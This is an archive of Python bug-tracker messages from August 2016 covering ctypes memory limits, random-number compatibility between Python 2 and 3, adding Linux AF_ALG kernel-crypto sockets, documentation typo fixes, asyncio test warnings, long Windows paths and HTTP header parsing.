Storchaka added the comment: > To give just one example, on my machine, the result of `exp(500)` has an > error of 0.42 ulps, while `math.e**500` gives an error of over 150 ulps. How can it be? math.e**500 = math.exp(math.log(math.e)*500) and math.log(math.e) is 1.0. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:42:43 2016 From: report at bugs.python.org (tzickel) Date: Fri, 12 Aug 2016 09:42:43 +0000 Subject: [issue27743] Python 2 has a wrong artificial limit on the amount of memory that can be allocated in ctypes Message-ID: <1470994963.77.0.387843517386.issue27743@psf.upfronthosting.co.za> New submission from tzickel: Python 2 has a wrong artificial limit on the amount of memory that can be allocated in ctypes via sequence repeating (i.e. using create_string_buffer or c_char * ) The problem is practical in Windows 64 bit, when running python 64 bit, since in that platform the sys.maxint is 2GB and while sys.maxsize is as large as in other platforms, trying to allocate more than 2GB of memory results in a different exception than other platforms (where sys.maxint = sys.maxsize): Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:40:30) [MSC v.1500 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import sys, ctypes >>> ctypes.c_char * (sys.maxint + 1) Traceback (most recent call last): File "", line 1, in AttributeError: class must define a '_length_' attribute, which must be a positive integer >>> ctypes.create_string_buffer(sys.maxint + 1) Traceback (most recent call last): File "", line 1, in File "c:\Python27-64\lib\ctypes\__init__.py", line 65, in create_string_buffer buftype = c_char * init AttributeError: class must define a '_length_' attribute, which must be a positive integer on other platforms you get: Traceback (most recent call last): File "", line 1, in OverflowError: cannot fit 'long' into an index-sized integer Thus to allocate more than 2GB, you need to use other methods (numpy or something else). >From my reading of the code, I assume the bug is this line: https://github.com/python/cpython/blob/2.7/Modules/_ctypes/_ctypes.c#L1388 Where the code checks if _length_ is an integer (PyInt_Check). As soon as the number is bigger than sys.maxint, it's a long, and while it's a valid size for the platform (< sys.maxsize), it will bork there. Since this seems like an artificial limit, I think it should be fixed, since it's practical to allocate this sizes on 64 bit systems for some applications. Python 3 has no issue, since it has no int type :) ---------- components: ctypes messages: 272510 nosy: Bob, Christoph Sarnowski, Patrick Stewart, doko, jpe, larry, mark.dickinson, mattip, meador.inge, python-dev, rkuska, steve.dower, tzickel, vinay.sajip priority: normal severity: normal status: open title: Python 2 has a wrong artificial limit on the amount of memory that can be allocated in ctypes type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:46:34 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 09:46:34 +0000 Subject: [issue27742] Random.seed(5, version=1) generates different values in PYthon2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470995194.43.0.527744908777.issue27742@psf.upfronthosting.co.za> Antti Haapala added the comment: It is this change in 3.2: randrange is more sophisticated about producing equally distributed values. Formerly it used a style like ``int(random()*n)`` which ' could produce slightly uneven distributions. - return self._randbelow(istart) + if istart >= maxwidth: + return self._randbelow(istart) + return int(self.random() * istart) by rhettinger. Since there has not been any regression tests that the seeded numbers would stay compatible, they don't. Perhaps it would be a good idea to *add* such tests. ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:51:34 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 09:51:34 +0000 Subject: [issue27742] Random.seed(5, version=1) generates different values in PYthon2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470995494.56.0.532354877605.issue27742@psf.upfronthosting.co.za> Antti Haapala added the comment: Sorry + and - are backwards there (I did the delta in wrong direction); + is before, and - after Raymond's commit. The `if` was retained there for backward-compatibility. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:55:46 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 09:55:46 +0000 Subject: [issue27742] Random.seed(5, version=1) generates different values in PYthon2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470995746.69.0.116426562704.issue27742@psf.upfronthosting.co.za> Antti Haapala added the comment: but yes, now that I read the documentation, 3.5 docs it say very explicitly that: Two aspects are guaranteed not to change: - If a new seeding method is added, then a backward compatible seeder will be offered. - The generator?s random() method will continue to produce the same sequence when the compatible seeder is given the same seed. thus no guarantee is given about any other method at all, including randrange and randint. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:15:22 2016 From: report at bugs.python.org (Wolfgang Rohdewald) Date: Fri, 12 Aug 2016 10:15:22 +0000 Subject: [issue27742] Random.seed(5, version=1) generates different values in PYthon2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470996922.91.0.15044489916.issue27742@psf.upfronthosting.co.za> Wolfgang Rohdewald added the comment: There seems to be more to it, _randbelow already returns different values. And _randbelow is used by other user helpers like randrange, choice, select, shuffle, sample ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:20:21 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 10:20:21 +0000 Subject: [issue27742] Random.randint generates different values in Python2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470997221.17.0.842767783412.issue27742@psf.upfronthosting.co.za> SilentGhost added the comment: > There seems to be more to it I'm not sure what "it" are you referring to. The output of randint is not guaranteed to be the same across versions, the seeded sequence is still the same between python2 and 3 - as documented. ---------- title: Random.seed(5, version=1) generates different values in PYthon2 and Python3 -> Random.randint generates different values in Python2 and Python3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:21:30 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 12 Aug 2016 10:21:30 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module Message-ID: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> New submission from Christian Heimes: Linux has a netlink-based user-space interface for Kernel cryptography. Kernel based crypto has a couple of advantages that are explained at http://www.chronox.de/libkcapi/html/ch01s02.html . The document doesn't mention that a crypto socket also supports splicing and sendfile. Files no longer have to be copied to user-space. My experimental branch https://github.com/tiran/cpython/commits/feature/af_alg implements af_alg support. Example: from socket import socket, AF_ALG, SOCK_SEQPACKET, SOL_ALG, ALG_SET_KEY from binascii import hexlify with socket(AF_ALG, SOCK_SEQPACKET, 0) as alg: alg.bind(('hash', 'hmac(sha512)')) alg.setsockopt(SOL_ALG, ALG_SET_KEY, b'key') op, _ = alg.accept() with open('/etc/passwd', 'rb') as f: op.sendfile(f) print(hexlify(op.recv(64))) op.close() ---------- components: Extension Modules messages: 272516 nosy: christian.heimes priority: normal severity: normal status: open title: Add AF_ALG (Linux Kernel crypto) to socket module type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:34:18 2016 From: report at bugs.python.org (Wolfgang Rohdewald) Date: Fri, 12 Aug 2016 10:34:18 +0000 Subject: [issue27742] Random.randint generates different values in Python2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470998058.76.0.174835597965.issue27742@psf.upfronthosting.co.za> Wolfgang Rohdewald added the comment: @SilentGhost: Sorry, I did not see the latest messages, I was referring to msg272511 Having to re-implement everything but rnd.random is not very user friendly. I will do that now for my project. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:37:39 2016 From: report at bugs.python.org (Cory Benfield) Date: Fri, 12 Aug 2016 10:37:39 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1470998259.99.0.159431398283.issue27744@psf.upfronthosting.co.za> Changes by Cory Benfield : ---------- nosy: +Lukasa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:44:09 2016 From: report at bugs.python.org (Lele Gaifax) Date: Fri, 12 Aug 2016 10:44:09 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto Message-ID: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> New submission from Lele Gaifax: The attached patch, available also as https://github.com/lelit/cpython/commit/9e33f33e87ad594daae71ccdbe6f0a5c5f8aca65, fixes a few typos in the Argument Clinic howto document. ---------- components: Argument Clinic files: ac-doc-typos.patch keywords: patch messages: 272518 nosy: larry, lelit priority: normal severity: normal status: open title: Fix typos in Argument Clinic howto versions: Python 3.6 Added file: http://bugs.python.org/file44083/ac-doc-typos.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:47:22 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 10:47:22 +0000 Subject: [issue27742] Random.randint generates different values in Python2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470998842.24.0.520103153092.issue27742@psf.upfronthosting.co.za> Antti Haapala added the comment: Anyhow, in this case it is easy to simulate the Python 2 randint behaviour (add checks for hi >= lo if needed): >>> random.seed(5, version=1) >>> randint_compat = lambda lo, hi: lo + int(random.random() * (hi + 1 - lo)) >>> randint_compat(0, 9999999) 6229016 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:47:38 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 10:47:38 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1470998858.18.0.0607821092056.issue27745@psf.upfronthosting.co.za> SilentGhost added the comment: Then I guess all the changes to Modules/_sqlite.c are there by mistake? Would you mid refreshing your patch to remove them? ---------- assignee: -> docs at python components: +Documentation nosy: +SilentGhost, docs at python versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:49:23 2016 From: report at bugs.python.org (Lele Gaifax) Date: Fri, 12 Aug 2016 10:49:23 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1470998963.42.0.511770791088.issue27745@psf.upfronthosting.co.za> Lele Gaifax added the comment: Yes, sorry about that, picked the wrong file :-| I will renew the patch shortly! ---------- components: -Documentation versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:53:11 2016 From: report at bugs.python.org (Lele Gaifax) Date: Fri, 12 Aug 2016 10:53:11 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1470999191.24.0.53261122193.issue27745@psf.upfronthosting.co.za> Lele Gaifax added the comment: Re-uploaded the patch file, without spurious stuff. ---------- Added file: http://bugs.python.org/file44084/ac-doc-typos.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:53:50 2016 From: report at bugs.python.org (Lele Gaifax) Date: Fri, 12 Aug 2016 10:53:50 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1470999230.24.0.55023865129.issue27745@psf.upfronthosting.co.za> Changes by Lele Gaifax : Removed file: http://bugs.python.org/file44083/ac-doc-typos.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:54:59 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 10:54:59 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1470999299.99.0.753534850435.issue27745@psf.upfronthosting.co.za> SilentGhost added the comment: LGTM ---------- stage: -> commit review type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:55:34 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 10:55:34 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1470999334.66.0.42597640166.issue27745@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- components: +Documentation versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 06:58:29 2016 From: report at bugs.python.org (Eryk Sun) Date: Fri, 12 Aug 2016 10:58:29 +0000 Subject: [issue27743] Python 2 has a wrong artificial limit on the amount of memory that can be allocated in ctypes In-Reply-To: <1470994963.77.0.387843517386.issue27743@psf.upfronthosting.co.za> Message-ID: <1470999509.64.0.712423035181.issue27743@psf.upfronthosting.co.za> Eryk Sun added the comment: AFAIK this only affects Windows. It looks like a relatively simple fix. In PyCArrayType_new, change the declaration of `length` to Py_ssize_t to match the definition StgDictObject.length; ensure the _length_ attribute is an index via PyIndex_Check instead of PyInt_Check; and call PyNumber_AsSsize_t instead of PyInt_AS_LONG. ---------- components: +Windows nosy: +eryksun, paul.moore, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:07:42 2016 From: report at bugs.python.org (Steven D'Aprano) Date: Fri, 12 Aug 2016 11:07:42 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1470987880.25.0.805744755142.issue27181@psf.upfronthosting.co.za> Message-ID: <20160812110725.GH26300@ando.pearwood.info> Steven D'Aprano added the comment: I thought about special-casing n=2 to math.sqrt, but as that's an implementation detail I can make that change at any time. According to my testing, math.pow(x, 0.5) is no worse than sqrt, so I'm not sure if there's any advantage to having yet another branch. I'd be interested in special-casing n=3 to math.cbrt (if and when it exists) now that its a standard C99 function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:17:50 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 12 Aug 2016 11:17:50 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> Message-ID: <1471000670.81.0.954488760177.issue27740@psf.upfronthosting.co.za> Changes by Xiang Zhang : Removed file: http://bugs.python.org/file44078/Py_CompileStringExFlags_doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:18:04 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 12 Aug 2016 11:18:04 +0000 Subject: [issue27740] Fix doc of Py_CompileStringExFlags In-Reply-To: <1470939203.79.0.619794104629.issue27740@psf.upfronthosting.co.za> Message-ID: <1471000684.56.0.548135805897.issue27740@psf.upfronthosting.co.za> Changes by Xiang Zhang : Added file: http://bugs.python.org/file44085/Py_CompileStringExFlags_doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:21:08 2016 From: report at bugs.python.org (INADA Naoki) Date: Fri, 12 Aug 2016 11:21:08 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1471000868.5.0.260345453679.issue27350@psf.upfronthosting.co.za> Changes by INADA Naoki : Added file: http://bugs.python.org/file44086/compact-dict.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:45:25 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 12 Aug 2016 11:45:25 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1471002325.89.0.780117134587.issue27181@psf.upfronthosting.co.za> Mark Dickinson added the comment: > According to my testing, math.pow(x, 0.5) is no worse than sqrt. It certainly is worse than sqrt, both in terms of speed and accuracy. Whether the difference is enough to make it worth special-casing is another question, of course, and as you say, that can happen later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:54:59 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 12 Aug 2016 11:54:59 +0000 Subject: [issue27594] Assertion failure when running "test_ast" tests with coverage. In-Reply-To: <1469226726.58.0.53789092151.issue27594@psf.upfronthosting.co.za> Message-ID: <1471002899.34.0.550246617515.issue27594@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: You could try changing this line in compile.c (in function 'assemble') if (entryblock && entryblock->b_instr) to if (entryblock && entryblock->b_instr && entryblock->b_instr->i_lineno) Does this help? ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 07:57:45 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 12 Aug 2016 11:57:45 +0000 Subject: [issue27539] negative Fraction ** negative int not normalized In-Reply-To: <1468740731.71.0.38394274484.issue27539@psf.upfronthosting.co.za> Message-ID: <1471003065.98.0.491132571267.issue27539@psf.upfronthosting.co.za> Mark Dickinson added the comment: > _Please_, can this go in before 15th? Note that this is a bugfix, not a new feature, so it can still go in after the 15th. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:13:42 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 12:13:42 +0000 Subject: [issue27746] ResourceWarnings in test_asyncio Message-ID: <1471004022.68.0.202760199133.issue27746@psf.upfronthosting.co.za> New submission from Martin Panter: $ ./python -bWerror -m test -r -u all . . . 0:12:58 [ 70/402] test_asyncio Exception ignored in: > Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/asyncio/sslproto.py", line 329, in __del__ source=self) ResourceWarning: unclosed transport Exception ignored in: > Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/asyncio/sslproto.py", line 329, in __del__ source=self) ResourceWarning: unclosed transport Exception ignored in: > Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/asyncio/sslproto.py", line 329, in __del__ source=self) ResourceWarning: unclosed transport Executing .start() done, defined at /media/disk/home/proj/python/cpython/Lib/test/test_asyncio/test_pep492.py:149> result=None created at /media/disk/home/proj/python/cpython/Lib/asyncio/base_events.py:367> took 0.351 seconds If necessary, you should be able to run with python -Wall -X tracemalloc=33 to get a stack dump where the resources (transport objects or whatever) were allocated. ---------- components: Tests, asyncio messages: 272529 nosy: gvanrossum, haypo, martin.panter, yselivanov priority: normal severity: normal stage: needs patch status: open title: ResourceWarnings in test_asyncio type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:17:45 2016 From: report at bugs.python.org (Eryk Sun) Date: Fri, 12 Aug 2016 12:17:45 +0000 Subject: [issue27730] Update shutil to work with max file path length on Windows In-Reply-To: <1470870125.62.0.00624513832595.issue27730@psf.upfronthosting.co.za> Message-ID: <1471004265.65.0.476387128688.issue27730@psf.upfronthosting.co.za> Eryk Sun added the comment: I overlooked some aspects of the problem: * A short relative path may end up exceeding MAX_PATH when normalized as a fully qualified path. * The working directory may be a UNC path or may already have the \\?\ prefix. It's not thread-safe to check this beforehand. * A path that contains a reserved DOS device name results in a \\.\ path. Thus on second thought I think it's safer to call GetFullPathNameW for all paths that lack the \\?\ prefix, and then copy the result if it needs to be prefixed by \\?\ or \\?\UNC. The final path, if it's a filesystem path, should always use the \\?\ namespace to ensure that functions such as shutil.rmtree won't fail. For example: _DOS_DEVICES = "\\\\.\\" _NT_DOS_DEVICES = "\\\\?\\" _NT_UNC_DEVICE = "\\\\?\\UNC" def winapi_path(path): path = os.fsdecode(path) or '.' if path.startswith(_NT_DOS_DEVICES): return path temp = os.path._getfullpathname(path) if temp.startswith((_NT_DOS_DEVICES, _DOS_DEVICES)): return path if temp == path else temp if temp.startswith('\\\\'): return _NT_UNC_DEVICE + temp[1:] return _NT_DOS_DEVICES + temp For reference, here's a typical call pattern when Windows 10.0.10586 converts a DOS path to an NT path: RtlInitUnicodeStringEx RtlDosPathNameToRelativeNtPathName_U_WithStatus RtlInitUnicodeStringEx RtlDosPathNameToRelativeNtPathName RtlGetFullPathName_Ustr RtlDetermineDosPathNameType_Ustr RtlAllocateHeap memcpy RtlGetFullPathName_Ustr is called with a buffer that's sizeof(WCHAR) * MAX_PATH bytes. GetFullPathNameW also calls RtlGetFullPathName_Ustr, but with a caller-supplied buffer that can be up to sizeof(WCHAR) * 32768 bytes. Here's the call pattern for a \\?\ path: RtlInitUnicodeStringEx RtlDosPathNameToRelativeNtPathName_U_WithStatus RtlInitUnicodeStringEx RtlDosPathNameToRelativeNtPathName RtlpWin32NtNameToNtPathName RtlAllocateHeap RtlAppendUnicodeStringToString RtlAppendUnicodeStringToString RtlpWin32NtNameToNtPathName copies the path, replacing \\? with the object manager's \?? virtual DOS devices directory. Here's some background information for those who don't already know the basics of how Windows implements DOS devices in NT's object namespace, which you can explore using Microsoft's free WinObj tool. In Windows NT 3 and 4 (before Terminal Services) there was a single \DosDevices directory, which is where the system created DOS device links to the actual NT devices in \Device, such as C: => \Device\HarddiskVolume2. Windows 2000 changed this in ways that were problematic, mostly due to using a per-session directory instead of a per-logon directory. (Tokens for multiple logon sessions can be used in a single Windows session, and almost always are since UAC split tokens arrived in Vista.) The design was changed again in Windows XP. \DosDevices is now just a link to the virtual \?? directory. The system creates DOS devices in a local (per logon) directory, except for system threads and LocalSystem logons (typically services), which use the \GLOBAL?? directory. The per-logon directories are located at \Sessions\0\DosDevices\[LogonAuthenticationId]. The object manager parses \?? by first checking the local DOS devices and then the global DOS devices. Each local DOS devices directory also has a Global link back to \GLOBAL??. It's accessible as \\?\Global\[Device Name], which is useful when a local device has the same name as a global one. The root directory of the object namespace is accessible to administrators using the \GLOBAL??\GLOBALROOT link, which from the Windows API is \\?\GLOBALROOT. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:18:38 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 12:18:38 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <20160812121833.58133.65640.B57039B8@psf.io> Roundup Robot added the comment: New changeset 129c601e7bfa by Martin Panter in branch '3.5': Issue #27745: Fix some typos in Argument Clinic howto, by Lele Gaifax https://hg.python.org/cpython/rev/129c601e7bfa New changeset 8c33152fd75c by Martin Panter in branch 'default': Issue #27745: Merge typo fixes from 3.5 https://hg.python.org/cpython/rev/8c33152fd75c ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:18:38 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 12:18:38 +0000 Subject: [issue26741] subprocess.Popen should emit a ResourceWarning in destructor if the process is still running In-Reply-To: <1460501347.41.0.70782898945.issue26741@psf.upfronthosting.co.za> Message-ID: <20160812121833.58133.87828.1133E035@psf.io> Roundup Robot added the comment: New changeset f78a682a3515 by Martin Panter in branch '3.5': Issue #26741: Clean up subprocess.Popen object in test_poll https://hg.python.org/cpython/rev/f78a682a3515 New changeset 7ff3ce0dfd45 by Martin Panter in branch 'default': Issue #26741: Merge ResourceWarning fixes from 3.5 https://hg.python.org/cpython/rev/7ff3ce0dfd45 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:19:13 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 12 Aug 2016 12:19:13 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1470993604.63.0.08397967641.issue12345@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: > math.e**500 = math.exp(math.log(math.e)*500) That's the theory if numbers have an infinite precision. In practice, intermediate results are rounded and have a limited precision. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:20:05 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 12 Aug 2016 12:20:05 +0000 Subject: [issue26741] subprocess.Popen should emit a ResourceWarning in destructor if the process is still running In-Reply-To: <20160812121833.58133.87828.1133E035@psf.io> Message-ID: STINNER Victor added the comment: Martin: why don't you use "with"? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:25:18 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 12:25:18 +0000 Subject: [issue26741] subprocess.Popen should emit a ResourceWarning in destructor if the process is still running In-Reply-To: <1460501347.41.0.70782898945.issue26741@psf.upfronthosting.co.za> Message-ID: <1471004718.33.0.938668534586.issue26741@psf.upfronthosting.co.za> Martin Panter added the comment: No super important reason, just to avoid indenting the code. This is a medium-sized test function, with a few long lines already. And if you keep the indentation the same, it makes it easier to port other changes to Python 2, look through the repository history etc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:33:46 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 12:33:46 +0000 Subject: [issue27745] Fix typos in Argument Clinic howto In-Reply-To: <1470998649.34.0.55275760151.issue27745@psf.upfronthosting.co.za> Message-ID: <1471005226.68.0.984584265127.issue27745@psf.upfronthosting.co.za> SilentGhost added the comment: Thanks, Lele. ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:37:54 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 12:37:54 +0000 Subject: [issue24363] httplib fails to handle semivalid HTTP headers In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za> Message-ID: <1471005474.46.0.702572911864.issue24363@psf.upfronthosting.co.za> Martin Panter added the comment: In order to avoid messing too much with the intricacies of the existing email parsing, here is a patch for Python 3 that limits the behaviour changes to the HTTP module. It should fix the bad handling of broken header lines. As a side effect, it should also fix Issue 22233, since it bypasses the offending splitlines() call. I incorporated the test cases from my previous patches for Issue 26686 and Issue 22233. I tried to maintain a minimal compatibility with the previous special behaviour for message/* and multipart/* message types, although I didn?t bother trying to emulate e.g. StartBoundaryNotFoundDefect (http.client.parse_headers() doesn?t pass any body to the email parser, so it won?t see any start boundaries.) ---------- dependencies: -email.parser stops parsing headers too soon when given a defective message. keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file44087/bypass-parsegen.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 08:49:50 2016 From: report at bugs.python.org (Mark Lawrence) Date: Fri, 12 Aug 2016 12:49:50 +0000 Subject: [issue12887] Documenting all SO_* constants in socket module In-Reply-To: <1314987180.49.0.607596056761.issue12887@psf.upfronthosting.co.za> Message-ID: <1471006190.49.0.332870020536.issue12887@psf.upfronthosting.co.za> Changes by Mark Lawrence : ---------- nosy: -BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 09:08:46 2016 From: report at bugs.python.org (David Edelsohn) Date: Fri, 12 Aug 2016 13:08:46 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <1471007326.05.0.056385815578.issue25825@psf.upfronthosting.co.za> David Edelsohn added the comment: Yes, please apply Patch 1 that reverts the mistaken change of revision 88a532a31eb3 . I want to work through this incrementally so that it's clear to reviewers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 09:27:39 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 12 Aug 2016 13:27:39 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <20160812132736.58242.43607.CE785070@psf.io> Roundup Robot added the comment: New changeset 58c8cae6c61a by Martin Panter in branch '3.5': Issue #25825: Fix references to Modules/python.exp https://hg.python.org/cpython/rev/58c8cae6c61a New changeset 4d4b5b978b7e by Martin Panter in branch 'default': Issue #25825: Merge AIX fix from 3.5 https://hg.python.org/cpython/rev/4d4b5b978b7e ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 09:40:51 2016 From: report at bugs.python.org (Pan Naekton) Date: Fri, 12 Aug 2016 13:40:51 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1471009251.13.0.317897926869.issue27744@psf.upfronthosting.co.za> Changes by Pan Naekton : Added file: http://bugs.python.org/file44088/Microsoft_Screen_Sharing_for_Lumia_Phones_HD-10_UG_th_TH.pdf _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 09:41:46 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 12 Aug 2016 13:41:46 +0000 Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za> Message-ID: <1471009306.55.0.20326873471.issue27744@psf.upfronthosting.co.za> Changes by Christian Heimes : Removed file: http://bugs.python.org/file44088/Microsoft_Screen_Sharing_for_Lumia_Phones_HD-10_UG_th_TH.pdf _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 10:01:01 2016 From: report at bugs.python.org (Paulo Gabriel Poiati) Date: Fri, 12 Aug 2016 14:01:01 +0000 Subject: [issue27747] Broken example in the queue module documentation Message-ID: <1471010461.03.0.586274907081.issue27747@psf.upfronthosting.co.za> New submission from Paulo Gabriel Poiati: I believe the code example at https://docs.python.org/3.6/library/queue.html is broken. The break condition in the worker loop (when the queued value is None) must call the `task_done` before breaking, otherwise the code blocks 